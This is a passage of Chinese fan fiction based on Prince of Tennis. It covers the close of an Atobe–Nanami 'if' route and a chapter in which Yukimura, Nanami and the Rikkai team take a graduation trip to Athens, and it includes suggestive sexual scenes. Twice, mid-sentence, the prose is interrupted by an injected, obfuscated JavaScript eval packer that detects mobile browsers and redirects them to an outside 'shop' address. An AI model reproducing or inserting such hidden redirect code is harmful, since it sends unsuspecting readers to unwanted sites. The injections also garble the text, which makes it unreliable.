她的选手被为难一次又一次做药检,她尚且有立场为他们辩驳申诉鸣不平,他同样因为擅长打持久战在药检上屡遭刁难。所幸,始终有桦地陪在他身边。 他的连冠斩断了前人的胜利之路,她的出现改变了国际网坛局势,他因此背负上一些莫须有的骂名,她因此一次次陷入舆论漩涡。 偏偏他又是和她一样,从来不知收敛傲骨的人。 他们的遭遇过分相似。 她和他,在16岁这一年,一同踏入这片错综复杂的职业网球世界,各自为战,时间将曾经的感情撕扯得血肉模糊。 她想过再见面会是什么样的场景,或许是某场巡回赛后偶遇时的客套寒暄,或许是满贯赛事时,她坐在看台席上,他坐在赛场的选手休息席上偶然的一次目光交汇,再分开。 却没想到,伦敦一场大雨和意外会把他们赶到一起。 她想她是绝对不能在他面前哭的,心脏震颤着,她做了几个深呼吸,却被他轻易看破。 “想哭就哭。二阶堂,在我面前,你只需要做自己。” “......” 他怎么能说这样的话。 说这样的话,完全是犯规啊。 迅速泛红的眼眶中,泪水终是失守落下。从无声的泪,到轻声抽泣,再到失声痛哭,只花了几十秒。 垂下头,狼狈地抹着眼角落下的泪,怎么也擦不尽。 头顶响起了极深极长的一声叹气,她被他轻柔地揽入怀中,以她无法推拒的力道。 他的一字一句在她的头顶接连炸响,与伦敦雨夜的滚滚雷声连成一片。 “二阶堂,本大爷一直在看着你。” “别再当骗子骗自己了。” “等了你五年,既然你也想我,和本大爷在一起,啊恩?” 山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14038037|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高水远时,她确实曾想起过他,许多次。 她讨厌太阳。每天都照常升起,光芒倾洒得无处不在,亮得晃眼,害得她无法忽视,只能被动接受。 他的存在让她无处可逃。 勉强平复下心绪,七海挣脱他的怀抱,开口提起了另一件事。“我听说你要和加藤家的大小姐结婚了。” 迹部景吾轻哼一声,“道听途说,你不如直接问我。” 说罢,他的脸上浮起了一抹意味深长的笑容,带着这抹笑容,她被他盯着看了许久,七海不自然地别过脸。 “所以就是因为这个消息,你才不愿意和我在一起,啊恩?” “我有资格、有能力选择自己喜欢的人,二阶堂。” “那个人是谁,我想你应该很清楚。” 她的脸蓦地一红,别扭地小声嘀咕着:“我哪知道。” 他的笑容越发肆意张扬:“你不知道?那本大爷告诉你,记住了。” “本大爷喜欢一个笨蛋。” “一个喜欢模仿我打响指的笨蛋,一个太负责任考虑别人总是多于自己的笨蛋,一个习惯逃避的笨蛋,一个在伦敦出门却不带伞的笨蛋。” 迹部挑眉,揶揄道:“二阶堂,你认识这个笨蛋是谁吗?” “我不认识。” “没关系,本大爷有办法让失忆的人想起来。” 他的吻来得猝不及防,唇瓣缓缓压下,轻轻触碰她的唇角,像是在试探、询问。然而,温柔的试探只持续了短短一瞬,随即便变得霸道而热烈。 唇齿被轻易地撬开,长驱直入,带着掠夺者的气势扫荡着每个角落。 腰带不知何时被扯松,浴袍领口被轻易地往后一掀、翻落,一整片白皙细腻的肩颈霎时间暴露在空气中,以及锁骨以下半露的柔软轮廓。 炽热的吻顺着耳垂一路向下,手则反其道而行之,沿着幽径一路向上。 窗外雷声隆隆,暴雨倾盆而下,电闪雷鸣划破夜空,映照出交缠的轮廓。 向来沥雨细雾的伦敦难得下起雷雨。 浓墨重彩,震耳欲聋,急促而热烈,仿佛要将整个世界都撕裂。 “迹部......”七海仰起脖颈,于意识迷离间勉强喊出他的名字。 依依不舍地松开唇,他开口,微哑磁性的嗓音带上了一丝挑逗的意味,撩人得要命:“二阶堂,叫本大爷什么?” “景吾。” 她喜欢太阳。 . If线-迹海BE线-破镜重圆番外 The end. 190.第 190 章 幸村精市即将迎来自己十七岁的生日。 别看这只是个生日,对于七海来说却意义非凡。 国三那年在金井综合病院与他初遇时,他的生日已过,后来她被迫回到混沌中,待她一年半后再回到现实世界,已是五月,他的生日还是被她错过了。 因此,这是她给他过的第一个生日。 3月5日,这个时间不尴不尬的,偏偏是刚结束最后一个学期与春假衔接的日子。听真田和柳说,往年这个时候他们都会挑一个风景优美的地方合宿,给幸村过个生日,顺便在合宿的时候举行本年度的反省大会 没错,是反省大会。 当时听到这四个字的七海倒吸一口凉气,随即为了掩饰自己的惊诧竖起了大拇指。不愧是王者立海大,合宿的时候还要开反省大会。 不过,鉴于大部分人已经高三毕业,立海大网球部也已成为了过去式,今年的毕业合宿大概不需要再开反省大会了。 大家即将分道扬镳,各自奔赴前程。大多数人都留在日本继续大学的学业,只有七海和幸村精市要前往英国留学。 英国大学的新学期为秋季学期,从九月开始,然而,这并不意味着幸海两人还可以休息半年——法网是五月,温网是七月,他们并日本职网协会的其他几个少年要一起去参加比赛,留在日本的时间仅剩下一个月。 哭得最伤心的当然是切原赤也——他又一个人被留在了立海大高等部。 万幸,仁王雅治、丸井文太还有胡狼桑原这三人都选择了直升立海大学,大学校区和立海大附属仅有几步之遥,想要出来一起吃顿饭只需一个电话就够。 总之,当下最重要的事就是敲定好合宿的地点,而对于七海来说,最重要的事当然是准备好给幸村精市的生日礼物。 幸海新家,客厅。 “箱根,札幌,爱知,鹿儿岛,京都......这不是已经把日本去了个遍嘛。”七海坐在沙发上,看着手中的表格上罗列的过往合宿地点,一脸无奈。 柳莲二点点头:“嗯,国中三年,高中两年,确实已经把日本逛完了。” “那这次,不如去国外?”七海双眸一亮。 丸井文太附和道:“好呀,不过,以前海外研学的时候也已经去过中国、秘鲁......” 立海大每年十月都会举行海外研学,全世界适合旅游的国家这六年来立海大的少年们也去了许多处。 澳大利亚国中那次U17世界杯时去了,法国英国以后是幸海两人的常驻地,去那儿多少有些没劲,这么一看可供选择的合宿地点似乎所剩无几。 客厅里,除了被七海指挥去买菜的幸村精市,其余八人围坐在沙发上,各自眉头紧锁地盯着手机屏幕上的世界地图,八根手指划来划去。 半晌,终于有人再次出声了。 “希腊。”柳生比吕士扶了扶眼镜,轻吐出两个字。“去希腊怎么样?” “希腊?”七海重复了一遍,随即立刻打开手机上的搜索引擎,搜了一下希腊的相关信息。 罗马市集,卫城神庙,爱琴海,圣托里尼岛......看起来确实是一个风光秀丽,充满人文气息的浪漫国度。 至于语言方面,希腊的官方语言是希腊语和英语,切原也在经过U17世界杯的洗礼后英文水平好了不少,不得不感叹语言环境的效果之强大。 八票,全数通过。 立海大网球部的高三最后一次合宿,希腊,出发! ----------------------- 飞机降落在雅典时已是深夜,早就预约好的接驳车将一行人接到酒店,大家便先各自进了预订的房间。 理所当然的,幸海两人一间,余下的七人,真田弦一郎柳莲二一间,仁王雅治与柳生比吕士一间,丸井文太和胡狼桑原以及切原赤也一间。 根据计划,明天要去卫城看神庙日出,下午要逛国立博物馆和狼山,该早点睡了。 “精市,那我先去洗澡了哦。”七海将行李箱推到卧室一角,放平,取出睡衣便紧张兮兮地将行李箱合上,拉上了拉链。 从幸村精市的视角来看,她的一系列举动早就将她的意图暴露得一清二楚。 像是在出发前就自行准备好行李箱,并且表示不需要再往里放东西了所以不用再打开;或是在去机场路上不再接受来自男朋友的帮忙,而是强硬要求自己拉行李箱;又或是像现在,行李箱里的东西拿出来就把箱子合上。 分明之前两人一起去巴黎和苏黎世时,她也是个打开了行李箱就瘫着放到走之前才收拾的人。 他并没有点明,不如说,幸村精市十分乐于欣赏自家女友这样欲盖弥彰的小举动。不知道她为了他的生日准备了什么,还是留到她准备好展示的时候吧。 然而,这次却是幸村精市猜错了——她是为了故意勾起他的好奇心。行李箱里确实放着她准备的几重惊喜,她相信,即使有了这样多的好奇心铺垫,最后展示出来的结果依然不会让他失望。 “七海,我们一起洗吧。”幸村微微一笑,当着她的面便开始解自己的衬衣扣子,骨节分明而纤长的大手从领口一颗接一颗,透着一股说不出的......情欲感。 七海欲言又止,半晌,纽扣全都解开,脱下的外套被扔在床上,少年精壮的上身一览无余,她才收回视线默默地回了一个“好吧。” 要过生日的人最大,难道她还能拒绝不成?再说,她要是拒绝,之后他肯定变本加厉...... 浴室里很快响起了一些旖旎暧昧的呻吟声并着轻柔微哑的话语,以及时不时传来的几声轻笑。 一切结束,她不知是被热水烫得还是被他的话羞得,浑身泛着诱人的红,氤氲在热气中做那样亲密的事害得她很快陷入缺氧,此刻只得无力地勾住他的脖子靠着胸,小口小口地喘着气。 最后仍是被他用浴巾裹住,打横抱着放回床上,又十分自然地去浴室抽屉取来护发素和吹风机,将她的长发分成几绺,耐心地抹上护发素再吹干。 这一系列操作,幸村精市现在堪称熟练至极。 耳畔嗡嗡作响,七海简直怀疑这个人是不是前几年为了立海大三连胜殚精竭虑,禁欲禁过头了,现在开了荤之后完全不知节制。 少顷,头发被吹到七八成干,七海换上睡衣钻进被窝,这才故作可怜地拽了两下他的衣袖。“精市,够了吧,明天我们还要早起去看卫城日出。” 幸村精市唇角勾起一抹清浅的笑意,“虽然总觉得还不够,不过今天就算了。” “好耶!”她一下子没能藏住自己的侥幸心理,“......呃,不是,我是说,明天去看卫城真的太好了。”七海干笑了两声,身子往被子里缩了缩。 坐在床边的幸村收起笑意,紫罗兰色的瞳孔微黯,连说出的话都带上了几分迟疑。“七海,和我做这件事这么让你讨厌吗?如果你不喜欢的话......” “怎么会呢!不是的,我就是,我怕我太累了明天起不来拖累你们。”七海忙出声反驳。 “所以是喜欢的吗?” 他看起来有点受伤,七海涨红了脸,极小幅度地点了点头,见他仍是那副神色,又努力抛下羞耻心补充了一句。“我喜欢的。” “那我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129628|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就放心了呐。”他轻笑起来,凑上前,却不是她以为的事,只在额头印下了浅浅的一个吻。 “睡吧,七海,晚安。” “嗯,精市,晚安。” 自从地震那天互表心意后,他再也没有做过噩梦,失眠不治而愈。 --------------------- 三月的希腊天气不够温暖,属于旅游淡季,大多数人又倾向于来卫城看黄昏,因而当立海大一行人抵达卫城时,人并没有他们预料得那么多。 耀眼的朝霞自东方缓缓升起,将整座卫城笼罩在一片绚丽的橘红色中。 光线透过圆柱的缝隙,在地面投射出庄严的影子。神殿正面的女神浮雕在这独特的光线角度下看上去栩栩如生,仿佛就要从石阱中走出。 斑驳的棕黄色大理石立柱在光芒的折射下闪烁着点点光芒,这片源远流长的古希腊文明杰作的残骸屹立于最高点,与太阳一同见证着新的一天的开始,透出别有一番意境的残凉之美。 沿着不同的几个神庙一路游览过来,柳莲二作为立海大中最为精通世界史的一员,当仁不让地担当起解说员并故事讲述者的角色。 视线扫过一根根粗粝的石柱,人群中感叹声连绵成一片:“好难想象以前的人是怎么做到的......” “嗯嗯,真的很厉害啊!”切原赤也闪烁着墨绿色的大眼,拿着手机疯狂拍照,一旁的丸井和Jack也不遑多让。 柳莲二颔首:“刚才我们看到的女神像柱被誉为建筑学上的奇迹,不过并不是真迹。真迹在卫城博物馆保存着,也可以去看看。” “嗯,待会儿大家一起去博物馆看看吧。”幸村笑着点了点头。 丸井文太在这时候想到了一个人,忙不迭转过头:“仁王,你不是大学要读建筑设计学专业吗,你应该比较懂这些柱子吧?” 从国中起,仁王雅治就热衷于去立海大的图书馆找建筑相关的书籍看,高中毕业时他不出所有人意料地选择了读建筑设计专业。 仁王噗哩了一声,倒是十分正经地解说起来:“卫城的建筑设计师是伊克泰诺斯和卡里亚德斯,帕特农神庙的柱子粗壮,是多立克式柱风格,胜利女神神庙的柱子比较细长,属于爱奥尼亚风格。” “哦,不愧是仁王君!”捧场王,柳生比吕士。 “说起来,公主殿下,这里不就是你的故乡吗哈哈哈!” 七海努力按捺着拍切原赤也头的冲动。自从她在几年前的世界杯向全世界宣告自己是网球界的神,神这个身份就成了调侃她必不可跳过的一个桥段。“呵呵,赤也,你说得对,这里确实是我的故乡。”胜利女神神庙,还真别说,意外地相符。 Jack还算敏锐地提醒了一句:“赤也,你最好小心一点。”否则又被七海揍了可别怪他没提醒他。 “啊,这个,嘿嘿......”切原赤也讪笑着,脚下一个不注意差点摔一跤,被真田弦一郎一把子拎住了。 “太松懈了!” “真田,难得出来玩,少生气比较好哦。” ...... 于一番插科打诨中结束了卫城的游览,立海大众人在市区找了一处餐馆用完饭,买了些巧克力一类的补给品和水,便继续往狼山进发。 站在山巅,方才刚走过的卫城与纯白的雅典城邦尽收眼底,少年们找了一处人少的观景台,坐下,静静地等待着诸神黄昏的降临。 初春的午后,随着夕阳一点点溢出,山巅的温度也逐渐降低,四周静谧无声。 突然有人说了一句话。 “我们,也要这样结束了。”